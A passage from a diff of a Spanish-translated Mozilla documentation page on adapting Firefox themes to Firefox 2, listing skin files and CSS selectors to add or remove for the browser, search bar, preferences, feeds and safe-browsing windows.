+   <td>Archivo nuevo; incluye CSS para los micro-resúmenes.</td>
+  </tr>
+  <tr>
+   <td><code>browser/browser.css</code></td>
+   <td>Necesita ser actualizado para incluir CSS para los micro-resúmenes, áreas de búsqueda, items del memú marcadores con iconos, y más.</td>
+  </tr>
+  <tr>
+   <td><code>browser/dropmark-nav-small.png</code></td>
+   <td>Archivo nuevo; es la flecha del menú desplegable de los botones de navegación, cuando usamos iconos pequeños.</td>
+  </tr>
+  <tr>
+   <td><code>browser/dropmark-nav.png</code></td>
+   <td>Archivo nuevo; es la flecha del menú desplegable de los botones de navegación.</td>
+  </tr>
+  <tr>
+   <td><code>browser/engineManager.css</code></td>
+   <td>Archivo nuevo; CSS usado por el administrador de motores de búsqueda.</td>
+  </tr>
+  <tr>
+   <td><code>browser/feeds/addFeedReader.css</code></td>
+   <td>Archivo nuevo; CSS usado en la ventana para añadir un nuevo agregador.</td>
+  </tr>
+  <tr>
+   <td><code>browser/feeds/feedIcon.png</code></td>
+   <td>Archivo nuevo; el icono de feed RSS.</td>
+  </tr>
+  <tr>
+   <td><code>browser/feeds/feedIcon16.png</code></td>
+   <td>Archivo nuevo; la versión de 16x16 píxeles del icono de feed RSS.</td>
+  </tr>
+  <tr>
+   <td><code>browser/feeds/subscribe.css</code></td>
+   <td>Archivo nuevo; CSS usado en la ventana de subscripción a un feed RSS.</td>
+  </tr>
+  <tr>
+   <td><code>browser/Go-rtl.png</code></td>
+   <td>Archivo nuevo; icono "ir" para usarlo si es colocado a la izquierda del campo de direcciones.</td>
+  </tr>
+  <tr>
+   <td><code>browser/preferences/preferences.css</code></td>
+   <td>Archivo de skins de la ventana de preferencias.</td>
+  </tr>
+  <tr>
+   <td><code>browser/safebrowsing/browser-protection.css</code></td>
+   <td>Archivo nuevo; CSS para la ventana que aparece para advertir al usuario que un sitio puede ser fraudulento, así como el icono de la barra URL que indica que un sitio puede ser fraudulento.</td>
+  </tr>
+  <tr>
+   <td><code>browser/safebrowsing/close16x16.png</code></td>
+   <td>Archivo nuevo; este es el icono mostrado ventana de advertencia de "navegación segura " como una caja para cerrar la ventana.</td>
+  </tr>
+  <tr>
+   <td><code>browser/safebrowsing/dim.png</code></td>
+   <td>Archivo nuevo; este es un gráfico superpuesto en nivel superior del contenido de la ventana para "debilitarla" cuando se muestra la ventana de advertencia de navegación segura. Debe usar transparencia para permitir que el contenido de la ventana sea visible a través de él.</td>
+  </tr>
+  <tr>
+   <td><code>browser/safebrowsing/tail.png</code></td>
+   <td>Archivo nuevo; esta es la "cola" del estilo de la ventana que indica que un sitio puede ser fraudulento.</td>
+  </tr>
+  <tr>
+   <td><code>browser/safebrowsing/warning16x16.png</code></td>
+   <td>Archivo nuevo; esta es la versión en 16x16 píxeles del icono de advertencia mostrado en la barra de direcciones cuando aparece la ventana de advertencia de navegación segura.</td>
+  </tr>
+  <tr>
+   <td><code>browser/safebrowsing/warning24x24.png</code></td>
+   <td>Archivo nuevo; este es el icono de advertencia que se muestra dentro de la ventana de advertencia de navegación segura.</td>
+  </tr>
+  <tr>
+   <td><code>browser/search-bar-background-mid.png</code></td>
+   <td>Archivo nuevo; es el fondo para la parte central de la barra de búsqueda. Ahora los extremos de la barra son tratados por separado.</td>
+  </tr>
+  <tr>
+   <td><code>browser/search-bar-background.png</code></td>
+   <td>Archivo eliminado.</td>
+  </tr>
+  <tr>
+   <td><code>browser/Search-bar.png</code></td>
+   <td>Archivo eliminado.</td>
+  </tr>
+  <tr>
+   <td><code>browser/Search-go-rtl.png</code></td>
+   <td>Archivo nuevo; es el botón "ir" que se muestra en el extremo izquierdo de la caja de búsquedas.</td>
+  </tr>
+  <tr>
+   <td><code>browser/Search-go.png</code></td>
+   <td>Archivo nuevo; es el botón "ir" que se muestra en el extremo derecho de la caja de búsquedas.</td>
+  </tr>
+  <tr>
+   <td><code>browser/Search-provider-bkgnd-rtl.png</code></td>
+   <td>Archivo nuevo; el fondo dibujado detrás del proveedor de búsqueda cuando está localizado a la izquierda al final de la barra de búsqueda.</td>
+  </tr>
+  <tr>
+   <td><code>browser/Search-provider-bkgnd.png</code></td>
+   <td>Archivo nuevo; el fondo dibujado detrás del proveedor de búsqueda cuando está localizado a la derecha al final de la barra de búsqueda.</td>
+  </tr>
+  <tr>
+   <td><code>global/about.css</code></td>
+   <td>Archivo nuevo; CSS utilizado en el cuadro "acerca de" de la aplicación.</td>
+  </tr>
+  <tr>
+   <td><code>global/alltabs-box-bkgnd.png</code></td>
+   <td>Archivo nuevo; es el fondo del menú emergente "todas la pestañas" que está a la derecha de la barra de pestañas.</td>
+  </tr>
+  <tr>
+   <td><code>global/alltabs-box-overflow-bkgnd.png</code></td>
+   <td>Archivo nuevo; es el fondo del menú emergente "todas la pestañas" cuando hay suficientes etiquetas para activar la barra de desplazamiento de la barra de pestañas.</td>
+  </tr>
+  <tr>
+   <td><code>global/browser.css</code></td>
+   <td>Revisado para soportar nuevos estilos para la ventana principal del navegador</td>
+  </tr>
+  <tr>
+   <td><code>global/globalBindings.xml</code></td>
+   <td>Actualizado para soportar los cambios en la barra de pestañas, incluido el botón para cerrar pestañas.</td>
+  </tr>
+  <tr>
+   <td><code>global/icons/alltabs.png</code></td>
+   <td>Actualmente sin uso, resto de esbozos anteriores del tema.</td>
+  </tr>
+  <tr>
+   <td><code>global/inactivetab-left.png</code></td>
+   <td>Archivo eliminado.</td>
+  </tr>
+  <tr>
+   <td><code>global/inactivetab-right.png</code></td>
+   <td>Archivo eliminado.</td>
+  </tr>
+  <tr>
+   <td><code>global/menu.css</code></td>
+   <td>Actualizado para incluir nuevos estilos.</td>
+  </tr>
+  <tr>
+   <td><code>global/notification.css</code></td>
+   <td>Archivo nuevo; define los estilos utilizados por la barra de notificación que aparece en la parte superior de las ventanas del navegador para presentar noticias com "se ha bloqueado un popup"</td>
+  </tr>
+  <tr>
+   <td><code>global/scrollbox/autorepeat-arrow-dn-dis.gif</code></td>
+   <td>Archivo nuevo; icono desplegado para la flecha hacia abajo deshabilitada del auto-repeat en un a caja desplegable.</td>
+  </tr>
+  <tr>
+   <td><code>global/scrollbox/autorepeat-arrow-dn.gif</code></td>
+   <td>Archivo nuevo; icono mostrado para la flecha hacia abajo de una caja desplegable.</td>
+  </tr>
+  <tr>
+   <td><code>global/scrollbox/autorepeat-arrow-up-dis.gif</code></td>
+   <td>Archivo nuevo; icono mostrado para una flecha arriba deshabilitada en una caja desplegable.</td>
+  </tr>
+  <tr>
+   <td><code>global/scrollbox/autorepeat-arrow-up.gif</code></td>
+   <td>Archivo nuevo; icono mostrado en la caja superior de la barra de desplazamiento auto-repetitiva.</td>
+  </tr>
+  <tr>
+   <td><code>global/scrollbox.css</code></td>
+   <td>Necesita ser actualizado para incluir nuevos estilos.</td>
+  </tr>
+  <tr>
+   <td><code>global/tab-arrow-end-bkgnd.png</code></td>
+   <td>Archivo nuevo; es el fondo para el cuadro de la barra de desplazamiento en la flecha del lado derecho.</td>
+  </tr>
+  <tr>
+   <td><code>global/tab-arrow-end.png</code></td>
+   <td>Archivo nuevo; the arrow drawn in the scrolling tab bar box at the right end of the tab bar.</td>
+  </tr>
+  <tr>
+   <td><code>global/tab-arrow-start-bkgnd.png</code></td>
+   <td>Archivo nuevo; es el fondo para el cuadro de la barra de desplazamiento en la flecha del lado izquierdo.</td>
+  </tr>
+  <tr>
+   <td><code>global/tab-arrow-start.png</code></td>
+   <td>Archivo nuevo; the arrow drawn in the scrolling tab bar box at the left end of the tab bar.</td>
+  </tr>
+  <tr>
+   <td><code>global/tab-left.png</code></td>
+   <td>Archivo nuevo; el lado izquierdo de las pestañas</td>
+  </tr>
+  <tr>
+   <td><code>global/tab-middle.png</code></td>
+   <td>Archivo nuevo; el centro de las pestañas</td>
+  </tr>
+  <tr>
+   <td><code>global/tab-right.png</code></td>
+   <td>Archivo nuevo; el lado derecho de las pestañas</td>
+  </tr>
+  <tr>
+   <td><code>global/tabbrowser-tabs-bkgnd.png</code></td>
+   <td>Archivo nuevo; es el fondo de la barra de las pestañas, mostrado detrás de las pestañas.</td>
+  </tr>
+  <tr>
+   <td><code>global/toolbar.css</code></td>
+   <td>Necesita ser actualizado para incluir nuevos estilos.</td>
+  </tr>
+  <tr>
+   <td><code>mozapps/extensions/about.css</code></td>
+   <td>Actualizado para simplificar los nombres de los estilo, ya que varios estilos eran idénticos.</td>
+  </tr>
+  <tr>
+   <td><code>mozapps/extensions/extensions.css</code></td>
+   <td>CSS para la ventana del administrador de add-ons. Actualizado para soportar las nuevas caracteristicas del administrador de add-ons de Firefox 2.</td>
+  </tr>
+  <tr>
+   <td><code>mozapps/extensions/itemDisabledFader.png</code></td>
+   <td>Archivo nuevo; un PNG con transparencia usado como capa externa sobre los objetos deshabilitados en el add-on manager.</td>
+  </tr>
+  <tr>
+   <td><code>mozapps/extensions/itemEnabledFader.png</code></td>
+   <td>Archivo nuevo; un PNG con transparencia usado como capa externa sobre los objetos habilitados en el add-on manager.</td>
+  </tr>
+  <tr>
+   <td><code>mozapps/extensions/notifyBadges.png</code></td>
+   <td>Archivo nuevo; contiene los íconos que van a ser usados como capas sobre iconos de los add-ons en la ventana add-on manager, estos indicarán el estado de estos. Los siguientes iconos son usados en el tema por defecto:
+    <p><img alt="Image:NotifyBadges.png" class="internal" src="/@api/deki/files/1130/=NotifyBadges.png"></p>
+
+    <ul>
+     <li>El primer ícono (verde aquí) indica que ese add-on tiene una actualización disponible.</li>
+     <li>El segundo icono (amarillo aquí) <em>el add-on en cuastión aparece como bloqueado en la lista; esto mientras se intenta confirmar</em>.</li>
+     <li>El tercer icono (rojo aquí) indica que el add-on se encuentra desabilitado, por el usuario, o porque es incompatible con la aplicación.</li>
+     <li>El cuarto (azul aquí) <em>(no estoy seguro de los que este significa)</em>.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>mozapps/extensions/question.png</code></td>
+   <td>New file; used in the Add-ons Manager when you check for updates. If no updates are found, this icon is displayed at the left side of the message strip that appears across the top of the window.</td>
+  </tr>
+  <tr>
+   <td><code>mozapps/extensions/update.css</code></td>
+   <td>This file, which skins the Firefox update wizard, has fewer styles in it due to the redesigned update wizard.</td>
+  </tr>
+  <tr>
+   <td><code>mozapps/extensions/viewButtons.png</code></td>
+   <td>New file; contains icons for each of the views that may be available in the add-ons manager. In the default theme, these look something like this:
+    <p><img alt="Image:ViewButtons.png" class="internal" src="/@api/deki/files/1137/=ViewButtons.png"><br>
+     The top row contains dimmed versions of the icons below them. The first icon is for the extensions view. The second is for themes. The third is for locales, the fourth is for plugins, the fifth is for updates, and the sixth is for installs.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>mozapps/pref</code></td>
+   <td>Este directorio ya no se usa en Firefox 2 y debería ser borrado.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Cambios_en_browser" name="Cambios_en_browser">Cambios en <code>browser</code></h3>
+
+<h4 id="bookmarks.2FaddBookmark.css" name="bookmarks.2FaddBookmark.css"><code>bookmarks/addBookmark.css</code></h4>
+
+<p>Deberías añadir las siguientes líneas al inicio del archivo <code>addBookmarks.css</code>:</p>
+
+<pre>@namespace url("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul");
+@namespace html url("http://www.w3.org/1999/xhtml");
+</pre>
+
+<p>También hay que añadir CSS en relación con los microresúmenes para proporcionar formato al recolector de microresúmenes. Se usa para que cuando no hay microresúmenes disponibles, el recolector parezca una caja de texto normal en vez de parecer una lista de menús editable.</p>
+
+<ul>
+ <li><code>menulist#name[droppable=false]</code></li>
+ <li><code>menulist#name[droppable=false] &gt; .menulist-editable-box</code></li>
+ <li><code>menulist#name[droppable=false] &gt; .menulist-editable-box &gt; html|*.textbox-input</code></li>
+ <li><code>menulist#name[droppable=false] &gt; .menulist-dropmarker</code></li>
+ <li><code>menulist#name[droppable=false] &gt; menupopup</code>&gt;</li>
+</ul>
+
+<p>Este archivo da estilo a <code> addBookmark2.xul</code>.</p>
+
+<h4 id="bookmarks.2FbookmarksProperties.css" name="bookmarks.2FbookmarksProperties.css"><code>bookmarks/bookmarksProperties.css</code></h4>
+
+<p>Este archivo es nuevo en Firefox 2, y debería contener el mismo código CSS añadido a <code>addBookmark.css</code>. Este archivo da estilo a <code>bookmarksProperties.xul</code>.</p>
+
+<div class="note"><strong>Nota:</strong> se puede poner este CSS en un archivo separado que será referenciado por ambos archivos en el futuro</div>
+
+<h4 id="browser.css" name="browser.css"><code>browser.css</code></h4>
+
+<p>Los siguientes estilos usados en temas para Firefox 1.5 ya no se usan en Firefox 2 y deberían ser borrados de tu tema:</p>
+
+<ul>
+ <li><code>#bookmarks-button:active</code></li>
+ <li><code>#copy-button:active</code></li>
+ <li><code>#cut-button:active</code></li>
+ <li><code>#downloads-button:active</code></li>
+ <li><code>#forward-button[buttondown="true"]</code></li>
+ <li><code>#history-button:active</code></li>
+ <li><code>#home-button:active</code></li>
+ <li><code>#mail-button</code></li>
+ <li><code>#mail-button:active</code></li>
+ <li><code>#mail-button[disabled=true]</code></li>
+ <li><code>#mail-button[open="true]</code></li>
+ <li><code>#new-tab-button:active</code></li>
+ <li><code>#new-tab-button[checked=true]</code></li>
+ <li><code>#new-window-button:active</code></li>
+ <li><code>#new-window-button[checked=true]</code></li>
+ <li><code>#paste-button:active</code></li>
+ <li><code>#print-button:active</code></li>
+ <li><code>#reload-button:active</code></li>
+ <li><code>#stop-button:active</code></li>
+ <li><code>.messageButton</code></li>
+ <li><code>.messageImage</code></li>
+ <li><code>.messageText</code></li>
+ <li><code>browsermessage</code></li>
+ <li><code>toolbar[iconsize=small] #bookmarks-button:active</code></li>
+ <li>toolbar[iconsize="small] #copy-button:active</li>
+ <li>toolbar[iconsize="small] #cut-button:active</li>
+ <li>toolbar[iconsize="small] #downloads-button:active</li>
+ <li>toolbar[iconsize="small] #history-button:active</li>
+ <li>toolbar[iconsize="small] #home-button:active</li>
+ <li>toolbar[iconsize="small] #mail-button</li>
+ <li>toolbar[iconsize="small] #mail-button:active</li>
+ <li>toolbar[iconsize="small] #mail-button[disabled="true]</li>
+ <li>toolbar[iconsize="small] #mail-button[open="true]</li>
+ <li>toolbar[iconsize="small] #new-tab-button:active</li>
+ <li>toolbar[iconsize="small] #new-window-button:active</li>
+ <li>toolbar[iconsize="small] #paste-button:active</li>
+ <li>toolbar[iconsize="small] #print-button:active</li>
+ <li>toolbar[iconsize="small] #reload-button:active</li>
+ <li>toolbar[iconsize="small] #stop-button:active</li>
+ <li>toolbar[mode="icons] .toolbarbutton-text</li>
+ <li>toolbar[mode="text] .toolbarbutton-1 &gt; .toolbarbutton-text</li>
+ <li>toolbar[mode="text] .toolbarbutton-1 &gt; stack &gt; toolbarbutton &gt; .toolbarbutton-text</li>
+ <li>toolbar[mode="text] .toolbarbutton-icon</li>
+</ul>
+
+<p>Tienes que añadir los siguientes estilos para que tu tema sea compatible con Firefox 2:</p>
+
+<ul>
+ <li><code>#back-button .toolbarbutton-menubutton-dropmarker</code></li>
+ <li><code>#back-button:hover</code></li>
+ <li><code>#back-button:hover .toolbarbutton-menubutton-dropmarker</code></li>
+ <li><code>#back-button:hover:active</code></li>
+ <li><code>#back-button:hover:active .toolbarbutton-menubutton-dropmarker</code></li>
+ <li>#back-button[buttondown=true] &gt; .toolbarbutton-menubutton-dropmarker</li>
+ <li>#back-button[buttonover=true]</li>
+ <li>#back-button[buttonover=true] &gt; .toolbarbutton-menubutton-dropmarker</li>
+ <li>#back-button[disabled=true] .toolbarbutton-menubutton-dropmarker</li>
+ <li>#back-button[open=true]</li>
+ <li>#bookmarks-button:hover</li>
+ <li>#bookmarks-button:hover:active</li>
+ <li>#bookmarks-button[checked=true]</li>
+ <li>#copy-button:hover</li>
+ <li>#copy-button:hover:active</li>
+ <li>#cut-button:hover</li>
+ <li>#cut-button:hover:active</li>
+ <li>#downloads-button:hover</li>
+ <li>#downloads-button:hover:active</li>
+ <li>#feed-button[chromedir=rtl][feeds')}}:active</li>
+ <li>#feed-button[chromedir=rtl][feeds')}}:hover</li>
+ <li>#feed-button[feeds')}}:active</li>
+ <li>#feed-button[feeds')}}:hover</li>
+ <li>#forward-button .toolbarbutton-menubutton-dropmarker</li>
+ <li>#forward-button:hover</li>
+ <li>#forward-button:hover .toolbarbutton-menubutton-dropmarker</li>
+ <li>#forward-button:hover:active</li>
+ <li>#forward-button:hover:active .toolbarbutton-menubutton-dropmarker</li>
+ <li>#forward-button[buttondown=true] &gt; .toolbarbutton-menubutton-dropmarker</li>
+ <li>#forward-button[buttonover=true]</li>
+ <li>#forward-button[buttonover=true] &gt; .toolbarbutton-menubutton-dropmarker</li>
+ <li>#forward-button[disabled=true] .toolbarbutton-menubutton-dropmarker</li>
+ <li>#go-button:hover</li>
+ <li>#go-button[chromedir=rtl]</li>
+ <li>#history-button:hover:active</li>
+ <li>#history-button:hover:active</li>
+ <li>#history-button[checked=true]</li>
+ <li>#home-button:hover</li>
+ <li>#home-button:hover:active</li>
+ <li>#new-tab-button:hover</li>
+ <li>#new-tab-button:hover:active</li>
+ <li>#new-window-button:hover</li>
+ <li>#new-window-button:hover:active</li>
+ <li>#paste-button:hover</li>
+ <li>#paste-button:hover:active</li>
+ <li>#print-button:hover</li>
+ <li>#print-button:hover:active</li>
+ <li>#reload-button:hover</li>
+ <li>#reload-button:hover:active</li>
+ <li>#searchbar[empty=true] .searchbar-textbox</li>
+ <li>#stop-button:hover</li>
+ <li>#stop-button:hover:active</li>
+ <li>#urlbar-icons-spacer</li>
+ <li>#urlbar-spacer</li>
+ <li>#urlbar[level=high] #lock-icon:active</li>
+ <li>#urlbar[level=high] #lock-icon:hover</li>
+ <li>#urlbar[level=low] #lock-icon:active</li>
+ <li>#urlbar[level=low] #lock-icon:hover</li>
+ <li>.autocomplete-treebody::-moz-tree-cell(suggesthint)</li>
+ <li>.autocomplete-treebody::-moz-tree-cell-text(suggestfirst, treecolAutoCompleteComment)</li>
+ <li>.autocomplete-treebody::-moz-tree-cell-text(suggesthint, treecolAutoCompleteComment)</li>
+ <li>.bookmark-item[livemark')}}</li>
+ <li>.openintabs-menuitem</li>
+ <li>.toolbarbutton-icon</li>
+ <li>.toolbarbutton-menubutton-dropmarker</li>
+ <li>toolbar[iconsize=small] #back-button .toolbarbutton-menubutton-dropmarker</li>
+ <li>toolbar[iconsize=small] #back-button:hover</li>
+ <li>toolbar[iconsize=small] #back-button:hover .toolbarbutton-menubutton-dropmarker</li>
+ <li>toolbar[iconsize=small] #back-button:hover:active</li>
+ <li>toolbar[iconsize=small] #back-button:hover:active .toolbarbutton-menubutton-dropmarker</li>
+ <li>toolbar[iconsize=small] #back-button[buttondown=true] &gt; .toolbarbutton-menubutton-dropmarker</li>
+ <li>toolbar[iconsize=small] #back-button[buttonover=true] &gt; .toolbarbutton-menubutton-dropmarker</li>
+ <li>toolbar[iconsize=small] #back-button[disabled=true] .toolbarbutton-menubutton-dropmarker</li>
+ <li>toolbar[iconsize=small] #bookmarks-button:hover</li>
+ <li>toolbar[iconsize=small] #bookmarks-button:hover:active</li>
+ <li>toolbar[iconsize=small] #copy-button:hover</li>
+ <li>toolbar[iconsize=small] #copy-button:hover:active</li>
+ <li>toolbar[iconsize=small] #cut-button:hover</li>
+ <li>toolbar[iconsize=small] #cut-button:hover:active</li>
+ <li>toolbar[iconsize=small] #downloads-button:hover</li>
+ <li>toolbar[iconsize=small] #downloads-button:hover:active</li>
+ <li>toolbar[iconsize=small] #forward-button .toolbarbutton-menubutton-dropmarker</li>
+ <li>toolbar[iconsize=small] #forward-button:hover</li>
+ <li>toolbar[iconsize=small] #forward-button:hover .toolbarbutton-menubutton-dropmarker</li>
+ <li>toolbar[iconsize=small] #forward-button:hover:active</li>
+ <li>toolbar[iconsize=small] #forward-button:hover:active .toolbarbutton-menubutton-dropmarker</li>
+ <li>toolbar[iconsize=small] #forward-button[buttondown=true] &gt; .toolbarbutton-menubutton-dropmarker</li>
+ <li>toolbar[iconsize=small] #forward-button[buttonover=true] &gt; .toolbarbutton-menubutton-dropmarker</li>
+ <li>toolbar[iconsize=small] #forward-button[disabled=true] .toolbarbutton-menubutton-dropmarker</li>
+ <li>toolbar[iconsize=small] #history-button:hover</li>
+ <li>toolbar[iconsize=small] #history-button:hover:active</li>
+ <li>toolbar[iconsize=small] #home-button:hover</li>
+ <li>toolbar[iconsize=small] #home-button:hover:active</li>
+ <li>toolbar[iconsize=small] #home-button[disabled=true]</li>
+ <li>toolbar[iconsize=small] #new-tab-button:hover</li>
+ <li>toolbar[iconsize=small] #new-tab-button:hover:active</li>
+ <li>toolbar[iconsize=small] #new-window-button:hover</li>
+ <li>toolbar[iconsize=small] #new-window-button:hover:active</li>
+ <li>toolbar[iconsize=small] #paste-button:hover</li>
+ <li>toolbar[iconsize=small] #paste-button:hover:active</li>
+ <li>toolbar[iconsize=small] #print-button:hover</li>
+ <li>toolbar[iconsize=small] #print-button:hover:active</li>
+ <li>toolbar[iconsize=small] #reload-button:hover</li>
+ <li>toolbar[iconsize=small] #reload-button:hover:active</li>
+ <li>toolbar[iconsize=small] #stop-button:hover</li>
+ <li>toolbar[iconsize=small] #stop-button:hover:active</li>
+ <li>toolbarbutton.bookmark-item-microsummarized</li>
+</ul>
+
+<p>Puede que también tengas que hacer cambios en otros estilos.</p>
+
+<h4 id="searchbar.css" name="searchbar.css"><code>searchbar.css</code></h4>
+
+<p>El siguiente estilo ya no se usa en Firefox 2 y debería ser borrado de tu tema:</p>
+
+<ul>
+ <li><code>.searchbar-dropmarker</code></li>
+</ul>
+
+<p>Tienes que añadir los siguientes estilos para que tu tema sea compatible con Firefox 2:</p>
+
+<ul>
+ <li>#search-container[chromedir=rtl] .search-go-button</li>
+ <li>#search-container[chromedir=rtl] .searchbar-engine-button</li>
+ <li>.search-go-button</li>
+ <li>.search-go-button:hover</li>
+ <li>.search-go-button:hover:active</li>
+ <li>.search-go-button[disabled=true]</li>
+ <li>.searchbar-engine-button</li>
+ <li>.searchbar-engine-button:hover</li>
+ <li>.searchbar-engine-button[addengines=true]</li>
+ <li>.searchbar-engine-button[open=true]</li>
+ <li>.searchbar-engine-menuitem[selected=true] &gt; .menu-iconic-text</li>
+ <li>.searchbar-left</li>
+</ul>
+
+<p>Por supuesto, también puedes desear hacer cambios en otros estilos.</p>
+
+<h4 id="preferences.2Fpreferences.css" name="preferences.2Fpreferences.css"><code>preferences/preferences.css</code></h4>
+
+<p>Los estilos siguientes ya no se usan en Firefox 2 y deberían ser borrados de tu tema:</p>
+
+<ul>
+ <li><code>#browserStartupHomepage</code></li>
+ <li><code>#browserStartupHomepage</code></li>
+ <li><code>#paneDownloads description</code></li>
+ <li><code>#paneGeneral description</code></li>
+ <li><code>radio[pane=paneDownloads]</code></li>
+ <li><code>radio[pane=paneDownloads]:active</code></li>
+</ul>
+
+<p>Tienes que añadir los siguientes estilos a tu tema para hacerlo compatible con Firefox 2:</p>
+
+<ul>
+ <li><code>#paneContent description</code></li>
+ <li><code>#paneMain description</code></li>
+ <li><code>#paneSecurity description</code></li>
+ <li><code>radio[pane=paneAdvanced]:hover</code></li>
+ <li><code>radio[pane=paneAdvanced][selected="true"]</code></li>
+ <li><code>radio[pane=paneContent]:hover</code></li>
+ <li><code>radio[pane=paneContent][selected="true"]</code></li>
+ <li><code>radio[pane=paneFeeds]</code></li>
+ <li><code>radio[pane=paneFeeds]:active</code></li>
+ <li><code>radio[pane=paneFeeds]:hover</code></li>
+ <li><code>radio[pane=paneFeeds][selected="true"]</code></li>
+ <li><code>radio[pane=paneGeneral]:hover</code></li>
+ <li><code>radio[pane=paneGeneral][selected="true"]</code></li>
+ <li><code>radio[pane=paneMain]</code></li>
+ <li><code>radio[pane=paneMain]:active</code></li>
+ <li><code>radio[pane=paneMain]:hover</code></li>
+ <li><code>radio[pane=paneMain][selected="true"]</code></li>
+ <li><code>radio[pane=panePrivacy]:hover</code></li>
+ <li><code>radio[pane=panePrivacy][selected="true"]</code></li>
+ <li><code>radio[pane=paneSecurity]</code></li>
+ <li><code>radio[pane=paneSecurity]:active</code></li>
+ <li><code>radio[pane=paneSecurity]:hover</code></li>
+ <li><code>radio[pane=paneSecurity][selected="true"]</code></li>
+ <li><code>radio[pane=paneTabs]:hover</code></li>
+ <li><code>radio[pane=paneTabs][selected="true"]</code></li>
+</ul>
+
+<p>Por supuesto, También puedes cambiar otros estilos.</p>
+
+<h4 id="feeds.2FaddFeedReader.css" name="feeds.2FaddFeedReader.css"><code>feeds/addFeedReader.css</code></h4>
+
+<p>Este archivo es nuevo en Firefox 2. Se usa para el skin de la ventana que se muestra para añadir a un nuevo agregador, esta es definida en el archivo <code>browser/feeds/addFeedReader.xul</code>.</p>
+
+<ul>
+ <li><code>#imageBox</code>
+
+  <ul>
+   <li>The box that displays the feed icon.</li>
+  </ul>
+ </li>
+ <li><code>#content</code>
+  <ul>
+   <li>Style information for the content area of the window.</li>
+  </ul>
+ </li>
+ <li><code>#siteLabel</code>
+  <ul>
+   <li>Style information for the site label.</li>
+  </ul>
+ </li>
+</ul>
+
+<h4 id="feeds.2Fsubscribe.css" name="feeds.2Fsubscribe.css"><code>feeds/subscribe.css</code></h4>
+
+<p>Este archivo es nuevo en Firefox 2. Es el skin de la ventana mostrada al suscribirse a un feed RSS, está en <code>browser/feeds/subscribe.xhtml</code>.</p>
+
+<ul>
+ <li><code>#application</code></li>
+ <li><code>#feedBody</code></li>
+ <li><code>#feedChangeSubscribeOptions</code></li>
+ <li><code>#feedError</code></li>
+ <li><code>#feedHeader</code></li>
+ <li><code>#feedHeader[firstrun="true"]</code></li>
+ <li><code>#feedHeader[firstrun="true"] #feedIntroText</code></li>
+ <li><code>#feedHeader[firstrun="true"] #feedSubscribeLine</code></li>
+ <li><code>#feedIntroText</code></li>
+ <li><code>#feedSubscribeDoneChangingOptions</code></li>
+ <li><code>#feedSubscribeHandleText</code></li>
+ <li><code>#feedSubscribeHandler</code></li>
+ <li><code>#feedSubscribeLine</code></li>
+ <li><code>#feedSubscribeOptions</code></li>
+ <li><code>#feedSubscribeOptionsGroup</code></li>
+ <li><code>#feedSubscribeOptionsGroupTitle</code></li>
+ <li><code>#feedTitleContainer</code></li>
+ <li><code>#feedTitleImage</code></li>
+ <li><code>#feedTitleLink</code></li>
+ <li><code>#readerContainer</code></li>
+ <li><code>#readerGroup</code></li>
+ <li><code>#readers</code></li>
+ <li><code>#readers &gt; listitem</code></li>
+ <li><code>.feedEntryContent</code></li>
+ <li><code>.feedSubscribeButton</code></li>
+ <li><code>.feedSubscribeButton .button-icon</code></li>
+ <li><code>.feedSubscribeLink</code></li>
+ <li><code>.feedSubscribeLinkBox</code></li>
+ <li><code>.field</code></li>
+ <li><code>.link</code></li>
+ <li><code>.link:hover:active</code></li>
+ <li><code>.plain</code></li>
+ <li><code>.plain &gt; .button-box</code></li>
+ <li><code>.plain:focus &gt; .button-box</code></li>
+ <li><code>.styleLessBorderLess</code></li>
+</ul>
+
+<p>El tema <em>default</em> también incluye estilos para <code>a[href] img</code>, <code>body</code>, <code>h1</code>, <code>h2</code>, y <code>html</code>.</p>
+
+<h4 id="safebrowser.2Fbrowser-protection.css" name="safebrowser.2Fbrowser-protection.css"><code>safebrowser/browser-protection.css</code></h4>
+
+<p>Este archivo, nuevo a Firefox 2, son las skins para las funciones de seguridad del navegador. Los siguientes estilos deben ser implementados para dar soporte a la ventana que aparece cuando el usuario visita a un sitio sospechoso de phishing:</p>
+
+<ul>
+ <li><code>#safebrowsing-dim-area-canvas</code></li>
+ <li><code>#safebrowsing-page-canvas</code></li>
+ <li><code>#safebrowsing-palm-close</code></li>
+ <li><code>#safebrowsing-palm-close-container</code></li>
+ <li><code>#safebrowsing-palm-google-logo</code></li>
+ <li><code>#safebrowsing-palm-message</code></li>
+ <li><code>#safebrowsing-palm-message-actionbox</code></li>
+ <li><code>#safebrowsing-palm-message-content</code></li>
+ <li><code>#safebrowsing-palm-message-tail</code></li>
+ <li><code>#safebrowsing-palm-message-tail-container</code></li>
+ <li><code>#safebrowsing-palm-message-titlebox</code></li>
+ <li><code>.safebrowsing-palm-bigtext</code></li>
+ <li><code>.safebrowsing-palm-fixed-width</code></li>
+ <li><code>.safebrowsing-palm-paragraph</code></li>
+ <li><code>.safebrowsing-palm-smalltext</code></li>
+</ul>
+
+<p>Los estilos siguientes se usan para mostrar, en la barra de URL, un indicador de si el sitio es seguro:</p>
+
+<ul>
+ <li><code>#safebrowsing-urlbar-icon</code></li>
+ <li><code>#safebrowsing-urlbar-icon[level="safe"]</code></li>
+ <li><code>#safebrowsing-urlbar-icon[level="warn"]</code></li>
+</ul>
+
+<h4 id="engineManager.css" name="engineManager.css"><code>engineManager.css</code></h4>
+
+<p>El siguiente estilo tiene que ser implementado. Este archivo es nuevo en Firefox 2.</p>
+
+<ul>
+ <li><code>#engineList treechildren::-moz-tree-image(engineName)</code></li>
+</ul>
+
+<h3 id="Cambios_en_global" name="Cambios_en_global">Cambios en <code>global</code></h3>
+
+<h4 id="about.css" name="about.css"><code>about.css</code></h4>
+
+<p>Este es un archivo nuevo para Firefox 2. Son los Skins de la caja about Firefox, es necesario proporcionar al menos los siguientes estilos:</p>
+
+<ul>
+ <li><code>#aboutLogoContainer</code></li>
+ <li><code>#aboutPageContainer</code></li>
+ <li><code>#version</code></li>
+</ul>
+
+<p>The default theme also skins the following styles: <code>body</code>, <code>html</code>, <code>img</code>, <code>ul</code>, and <code>ul &gt; li</code>.</p>
+
+<h4 id="browser.css_2" name="browser.css_2"><code>browser.css</code></h4>
+
+<p>Los siguientes estilos que fueron usados en Firefox 1.5 ya no se usan en Firefox 2 y han sido borrados:</p>
+
+<ul>
+ <li><code>tab:focus</code></li>
